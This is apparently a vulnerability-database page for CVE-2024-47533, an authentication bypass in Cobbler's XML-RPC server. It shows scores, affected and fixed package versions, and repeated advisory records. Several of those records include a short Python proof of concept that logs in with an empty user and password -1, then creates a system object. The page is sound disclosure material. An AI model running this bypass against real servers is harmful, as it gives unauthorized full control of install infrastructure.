Every CVE Search/ Get API key

CVE-2024-47533

Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes

9.8 CriticalPublic exploitFix available

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

4.00%Up 4.0 points since Nov 19, 2024
90%50%10%1%

What each source reports

CVE List Score used 9.8

Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Record
CVE-2024-47533
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287
Updated
2026-11-02
EUVDEUVD-2024-3281 9.8

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Record
EUVD-2024-3281
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-m26c-fcgh-cp6h 9.8

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Record
GHSA-m26c-fcgh-cp6h
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287
Updated
2026-11-02
NVD 9.8

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Record
CVE-2024-47533
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287
Updated
2026-11-02
OSV 9.8

Cobbler allows anyone to connect to cobbler XML-RPC server with a known password and make changes

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Record
CVE-2024-47533
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287
Updated
2026-11-02
OSVGHSA-m26c-fcgh-cp6h 9.8

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Record
GHSA-m26c-fcgh-cp6h
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-287
Updated
2026-11-02
Show 12 moreShow less
OSVOESA-2025-1411 9.8

cobbler security update

Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.

Security Fix(es):

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)

Record
OESA-2025-1411
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2025-1412 9.8

cobbler security update

Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.

Security Fix(es):

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)

Record
OESA-2025-1412
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2025-1413 9.8

cobbler security update

Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.

Security Fix(es):

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)

Record
OESA-2025-1413
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2025-1414 9.8

cobbler security update

Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.

Security Fix(es):

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)

Record
OESA-2025-1414
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVOESA-2025-1435 9.8

cobbler security update

Cobbler is a network install server. Cobbler supports PXE, ISO virtualized installs, and re-installing existing Linux machines. The last two modes use a helper tool, 'koan', that integrates with cobbler. Cobbler's advanced features include importing distributions from DVDs and rsync mirrors, kickstart templating, integrated yum mirroring, and built-in DHCP/DNS Management. Cobbler has a XML-RPC API for integration with other applications.

Security Fix(es):

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.(CVE-2024-47533)

Record
OESA-2025-1435
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVPYSEC-2026-316 9.8

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py get_shared_secret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

PoC

#!/usr/bin/python3

import ssl
 import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
 
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
 except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)

Impact

This gives anyone with network access to a cobbler server full control of the server.

Record
PYSEC-2026-316
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2024-47533 9.8

Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. utils.get_shared_secret() always returns -1, which allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.

Record
UBUNTU-CVE-2024-47533
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVopenSUSE-SU-2024:0370-1 No score

Security update for cobbler

This update for cobbler fixes the following issues:

Update to 3.3.7

  • Security: Fix issue that allowed anyone to connect to the API as admin (CVE-2024-47533, boo#1231332)
  • bind - Fix bug that prevents cname entries from being generated successfully
  • Fix build on RHEL9 based distributions (fence-agents-all split)
  • Fix for Windows systems
  • Docs: Add missing dependencies for source installation
  • Fix issue that prevented systems from being synced when the profile was edited
Record
openSUSE-SU-2024:0370-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:0382-1 No score

Security update for cobbler

This update for cobbler fixes the following issues:

Update to 3.3.7:

  • Security: Fix issue that allowed anyone to connect to the API as admin (CVE-2024-47533, boo#1231332)

  • bind - Fix bug that prevents cname entries from being generated successfully

  • Fix build on RHEL9 based distributions (fence-agents-all split)

  • Fix for Windows systems

  • Docs: Add missing dependencies for source installation

  • Fix issue that prevented systems from being synced when the profile was edited

Update to 3.3.6:

  • Upstream all openSUSE specific patches that were maintained in Git
  • Fix rename of items that had uppercase letters
  • Skip inconsistent collections instead of crashing the daemon
  • Update to 3.3.5:

    • Added collection indicies for UUID's, MAC's, IP addresses and hostnames boo#1219933
    • Re-added to_dict() caching
    • Added lazy loading for the daemon (off by default)
  • Update to 3.3.4:

    • Added cobbler-tests-containers subpackage
    • Updated the distro_signatures.json database
    • The default name for grub2-efi changed to grubx64.efi to match the DHCP template
  • Do generate boot menus even if no profiles or systems - only local boot

  • Avoid crashing running buildiso in certain conditions.

  • Fix settings migration schema to work while upgrading on existing running Uyuni and SUSE Manager servers running with old Cobbler settings (boo#1203478)

  • Consider case of 'next_server' being a hostname during migration of Cobbler collections.

  • Fix problem with 'proxy_url_ext' setting being None type.

  • Update v2 to v3 migration script to allow migration of collections that contains settings from Cobbler 2. (boo#1203478)

  • Fix problem for the migration of 'autoinstall' collection attribute.

  • Fix failing Cobbler tests after upgrading to 3.3.3.

  • Fix regression: allow empty string as interface_type value (boo#1203478)

  • Avoid possible override of existing values during migration of collections to 3.0.0 (boo#1206160)

  • Add missing code for previous patch file around boot_loaders migration.

  • Improve Cobbler performance with item cache and threadpool (boo#1205489)

  • Skip collections that are inconsistent instead of crashing (boo#1205749)

  • Items: Fix creation of 'default' NetworkInterface (boo#1206520)

  • S390X systems require their kernel options to have a linebreak at 79 characters (boo#1207595)

  • settings-migration-v1-to-v2.sh will now handle paths with whitespace correct

  • Fix renaming Cobbler items (boo#1204900, boo#1209149)

  • Fix cobbler buildiso so that the artifact can be booted by EFI firmware. (boo#1206060)

  • Add input_string_*, input_boolean, input_int functiont to public API

Record
openSUSE-SU-2024:0382-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:14512-1 No score

cobbler-3.3.7-1.1 on GA media

These are all security issues fixed in the cobbler-3.3.7-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:14512-1
Updated
2026-11-02
OSVSUSE-SU-2024:4006-1 No score

Security update for SUSE Manager Server 4.3

This update fixes the following issues:

cobbler:

  • Security issues fixed:

    • CVE-2024-47533: Prevent privilege escalation from none to admin (bsc#1231332)
  • Other bugs fixed:

    • Increase start timeout for cobblerd unit (bsc#1219450)
    • Provide sync_single_system for DHCP modules to improve performance (bsc#1219450)
    • Add input_string_*, input_boolean, input_int functions to public API
    • Add new setting for Uyuni authentication endpoint (bsc#1219887)

grafana-formula:

  • Version 0.11.0
    • Add SLES 15 SP6 to supported versions (bsc#1228286)

inter-server-sync:

  • Version 0.3.5-0
    • Decode boolean values for export (bsc#1228545)

saltboot-formula:

  • Update to version 0.1.1723628891.ffb1da5
    • Rework request stop function to avoid unnecessary warnings (bsc#1212985)

spacecmd:

  • Version 4.3.29-0
    • Speed up softwarechannel_removepackages (bsc#1227606)

spacewalk-backend:

  • Version 4.3.30-0
    • Make ISSv1 timezone independent (bsc#1221505)
    • reposync: introduce timeout when syncing DEB channels (bsc#1225960)
    • yum_src: use proper name variable name for subprocess.TimeoutExpired
    • Check and populate PTF attributes at the time of importing packages (bsc#1225619)
    • reposync: import GPG keys to RPM DB individually (bsc#1217003)
    • Add log string to the journal when services are stopped because of insufficient disk space

spacewalk-certs-tools:

  • Version 4.3.26-0
    • Fix private key format in jabberd certificate file (bsc#1228851)
    • Fix parsing Authority Key Identifier when keyid is not prefixed (bsc#1229079)
    • Support multiple certificates for root-ca-file and server-cert-file

spacewalk-client-tools:

  • Version 4.3.21-0
    • Update translation strings

spacewalk-config:

  • Version 4.3.14-0
    • Trust the Content-Length header from AJP (bsc#1226439)

spacewalk-java:

  • Version 4.3.82-0
    • Limit frontend-log message size (bsc#1231900)
  • Version 4.3.81-0
    • Add detection of Ubuntu 24.04
  • Version 4.3.80-0
    • Use custom select instead of errata view for better performance (bsc#1225619)
  • Version 4.3.79-0
    • Add info URL for cobbler to clean the system profile (bsc#1219645)
    • Require correct scap packages for Ubuntu
    • Require correct scap packages for Debian 12 (bsc#1227746)
    • Fix finding system_checkin_threshold configuration value on Sytems Overview page (bsc#1224108)
    • Allow changing base channel to SUSE Liberty Linux LTSS when the system is on Liberty (bsc#1228326)
    • Implement product migration from RHEL and Clones to SUSE Liberty Linux
    • Remove system also from proxy SSH known_hosts (bsc#1228345)
    • Fix NullPointerException when generating subscription matcher input (bsc#1228638)
    • Allow free products and SUSE Manager Proxy being managed by SUSE Manager Server PAYG
    • Open bootstrap script directory URL in a new page (bsc#1225603)
    • Delay package list refresh when Salt was updated (bsc#1217978)
    • Add SLE Micro 5 to the list of systems which support monitoring (bsc#1227334)
    • Add all SLE Micro systems to the list of systems which get PTF repositories
    • Update last sync refresh timestamp only when at least one time products were synced before
    • Prevent NullPointerException when listing history events without completion time (bsc#1146701)
    • Autoinstallation: prevent issues with duplicate IP address due to some networks (bsc#1226461)
    • Improve SQL queries and performance to check for PTF packages (bsc#1225619)
    • Check the correct Salt package before product migration (bsc#1224209)
    • Fix the date format output when using the HTTP API to use ISO 8601 format (bsc#1227543)
    • Fix transactional update check for SL Micro (bsc#1227406)
    • Improve score comparison in system search to fix ISE (bsc#1228412)
    • Fix package profile update on CentOS 7 when yum-utils is not installed (bsc#1227133)

spacewalk-utils:

  • Version 4.3.22-0
    • Add repositories for Ubuntu 24.04 LTS
  • Version 4.3.21-0
    • Drop unsupported tool…
Record
SUSE-SU-2024:4006-1
Updated
2026-11-02
OSVSUSE-SU-2024:4007-1 No score

Security update for SUSE Manager Server 4.3

This update fixes the following issues:

release-notes-susemanager:

  • Update to SUSE Manager 4.3.14
    • Ubuntu 24.04 support as client
    • Product migration from RHEL and Clones to SUSE Liberty Linux
    • POS image templates now produce compressed images
    • Date format for API endpoints has been changed to ISO-8601 format
    • Security issues fixed: CVE-2024-47533, CVE-2024-49502, CVE-2024-49503
    • Bugs mentioned: bsc#1146701, bsc#1211899, bsc#1212985, bsc#1217003, bsc#1217338 bsc#1217978, bsc#1218090, bsc#1219450, bsc#1219645, bsc#1219887 bsc#1221435, bsc#1221505, bsc#1223312, bsc#1223988, bsc#1224108 bsc#1224209, bsc#1225603, bsc#1225619, bsc#1225960, bsc#1226090 bsc#1226439, bsc#1226461, bsc#1226478, bsc#1226687, bsc#1226917 bsc#1227133, bsc#1227334, bsc#1227406, bsc#1227526, bsc#1227543 bsc#1227599, bsc#1227606, bsc#1227746, bsc#1228036, bsc#1228101 bsc#1228130, bsc#1228147, bsc#1228286, bsc#1228326, bsc#1228345 bsc#1228412, bsc#1228545, bsc#1228638, bsc#1228851, bsc#1228945 bsc#1229079, bsc#1229178, bsc#1229260, bsc#1229339, bsc#1231332 bsc#1231852, bsc#1231922, bsc#1231900
Record
SUSE-SU-2024:4007-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
cobbler
PyPI
3.3.0 up to 3.3.7
3.3.7
cobbler
PyPI
3.0.0 up to 3.2.3
3.2.3
cobbler
PyPI
3.3.0 up to 3.3.7, plus listed versions
3.3.13.3.23.3.33.3.43.3.53.3.6
3.3.7
cobbler
PyPI
3.0.0 up to 3.2.3, plus listed versions
3.1.23.2.13.2.2
3.2.3
cobbler
openEuler:22.03-LTS-SP4
before 3.2.0-4.oe2203sp4
3.2.0-4.oe2203sp4
cobbler
openEuler:24.03-LTS
before 3.2.0-5.oe2403
3.2.0-5.oe2403
cobbler
openEuler:24.03-LTS-SP1
before 3.2.0-5.oe2403sp1
3.2.0-5.oe2403sp1
cobbler
openEuler:20.03-LTS-SP4
before 3.2.0-4.oe2003sp4
3.2.0-4.oe2003sp4
cobbler
openEuler:22.03-LTS-SP3
before 3.2.0-4.oe2203sp3
3.2.0-4.oe2203sp3
cobbler
PyPI
3.0.0 up to 3.2.3, 3.3.0 up to 3.3.7, plus listed versions
3.1.23.2.13.2.23.3.13.3.2
Show 4 moreShow less
3.3.33.3.43.3.53.3.6
3.2.33.3.7
Show 39 moreShow less
Affected packages
PackageAffectedFixed
uyuni-proxy-systemd-services
SUSE:Manager Client Tools 15
From an advisory covering 3 CVEs
before 4.3.14-150000.1.27.4
4.3.14-150000.1.27.4
uyuni-proxy-systemd-services
SUSE:Manager Client Tools for SLE Micro 5
From an advisory covering 3 CVEs
before 4.3.14-150000.1.27.4
4.3.14-150000.1.27.4
mgr-daemon
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.11-150400.3.21.6
4.3.11-150400.3.21.6
spacecmd
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.29-150400.3.42.8
4.3.29-150400.3.42.8
spacewalk-backend
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.30-150400.3.47.16
4.3.30-150400.3.47.16
spacewalk-certs-tools
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.26-150400.3.36.7
4.3.26-150400.3.36.7
spacewalk-client-tools
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.21-150400.3.33.11
4.3.21-150400.3.33.11
spacewalk-proxy
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.19-150400.3.29.9
4.3.19-150400.3.29.9
spacewalk-web
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.42-150400.3.52.1
4.3.42-150400.3.52.1
susemanager-build-keys
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 15.4.10-150400.3.29.4
15.4.10-150400.3.29.4
uyuni-common-libs
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.11-150400.3.21.6
4.3.11-150400.3.21.6
uyuni-proxy-systemd-services
SUSE:Manager Proxy Module 4.3
From an advisory covering 3 CVEs
before 4.3.14-150000.1.27.4
4.3.14-150000.1.27.4
cobbler
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 3.3.3-150400.5.52.3
3.3.3-150400.5.52.3
grafana-formula
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 0.11.0-150400.3.21.4
0.11.0-150400.3.21.4
inter-server-sync
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 0.3.5-150400.3.36.13
0.3.5-150400.3.36.13
saltboot-formula
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 0.1.1723628891.ffb1da5-150400.3.18.4
0.1.1723628891.ffb1da5-150400.3.18.4
spacecmd
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.29-150400.3.42.8
4.3.29-150400.3.42.8
spacewalk-backend
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.30-150400.3.47.16
4.3.30-150400.3.47.16
spacewalk-certs-tools
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.26-150400.3.36.7
4.3.26-150400.3.36.7
spacewalk-client-tools
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.21-150400.3.33.11
4.3.21-150400.3.33.11
spacewalk-config
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.14-150400.3.18.6
4.3.14-150400.3.18.6
spacewalk-java
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.82-150400.3.96.1
4.3.82-150400.3.96.1
spacewalk-utils
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.22-150400.3.29.2
4.3.22-150400.3.29.2
spacewalk-web
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.42-150400.3.52.1
4.3.42-150400.3.52.1
susemanager
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.39-150400.3.58.5
4.3.39-150400.3.58.5
susemanager-build-keys
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 15.4.10-150400.3.29.4
15.4.10-150400.3.29.4
susemanager-docs_en
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.14-150400.9.66.2
4.3.14-150400.9.66.2
susemanager-schema
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.27-150400.3.45.11
4.3.27-150400.3.45.11
susemanager-sls
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.45-150400.3.55.4
4.3.45-150400.3.55.4
susemanager-sync-data
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.21-150400.3.35.2
4.3.21-150400.3.35.2
uyuni-common-libs
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.11-150400.3.21.6
4.3.11-150400.3.21.6
uyuni-reportdb-schema
SUSE:Manager Server Module 4.3
From an advisory covering 3 CVEs
before 4.3.11-150400.3.18.12
4.3.11-150400.3.18.12
release-notes-susemanager-proxy
SUSE:Manager Proxy 4.3
From an advisory covering 3 CVEs
before 4.3.14-150400.3.90.1
4.3.14-150400.3.90.1
release-notes-susemanager
SUSE:Manager Server 4.3
From an advisory covering 3 CVEs
before 4.3.14-150400.3.122.1
4.3.14-150400.3.122.1
cobbler
SUSE:Package Hub 15 SP6
before 3.3.7-bp156.2.6.1
3.3.7-bp156.2.6.1
cobbler
openSUSE:Leap 15.6
before 3.3.7-bp156.2.6.1
3.3.7-bp156.2.6.1
cobbler
SUSE:Package Hub 15 SP5
before 3.3.7-bp155.2.3.2
3.3.7-bp155.2.3.2
cobbler
openSUSE:Leap 15.5
before 3.3.7-bp155.2.3.2
3.3.7-bp155.2.3.2
cobbler
openSUSE:Tumbleweed
before 3.3.7-1.1
3.3.7-1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubbaph00met/CVE-2024-475332025-08-11
PoC in GitHub00xCanelo/CVE-2024-47533-PoC2025-08-12
PoC in GitHubdollarboysushil/CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC2025-08-12
PoC in GitHubzs1n/CVE-2024-475332025-08-13
PoC in GitHubokkotsu1/CVE-2024-475332025-08-14
NucleiCobbler 'XML-RPC' - Authentication Bypass

History

History
RecordedChangedSources
affected, exploits, facts
affected, exploits
aliasesEUVD
first indexedCVE List, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-47533 is a critical vulnerability (CVSS 9.8) in Cobbler, published November 18, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 4.00%, the 90th percentile. Fixed in cobbler 3.3.7.

References

Show 81 moreShow less
This page doesn't list everything

Left out here: the rest of 1 source description. The JSON record has them.

MoveEnter Open